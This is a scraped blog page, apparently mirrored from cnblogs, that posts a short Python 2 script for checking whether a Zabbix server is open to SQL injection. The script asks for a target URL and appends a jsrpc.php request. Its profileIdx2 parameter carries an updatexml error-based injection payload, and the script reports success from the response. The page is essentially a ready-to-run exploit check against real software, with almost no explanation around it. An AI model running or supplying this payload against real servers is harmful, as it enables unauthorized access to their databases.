zoukankan      html  css  js  c++  java
  • zabbix(sql注入判断脚本)

    zabbix(sql注入判断脚本)

    #-*-coding:utf-8-*-
    # code by anyun.org
    import urllib
    import re
    
    def getHtml(url):
        page = urllib.urlopen(url)
        html = page.read()
        html = html.replace('
    ', '')
        html = html.replace('       ', ' ')
        html = html.replace('   ', '')
        html = html.replace('   ', '')
        return html
    
    url =raw_input('enter url:')
    poc='jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&
    pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23
    &updateProfile=true&period=3600&stime=20160817050632&resourcetype=17'
    new_url=url+poc
    try:
    	if getHtml(new_url).find('flickerfreescreen')<>0:
    		print 'maybe successeed'
    	else:
    		print 'maybe unsuccessed'
    except:
    	print 'http error?'
    

      

  • 相关阅读:
    Delphi 学习笔记
    Extjs 4
    面向对象(OOP)
    Java基础
    Ubantu(乌班图)
    CentOS 6.3操作常识
    英语音标单元音篇
    英语音标双元音篇
    英语音标辅音篇
    Oracle补习班第一天
  • 原文地址:https://www.cnblogs.com/crac/p/5783479.html
Copyright © 2011-2022 走看看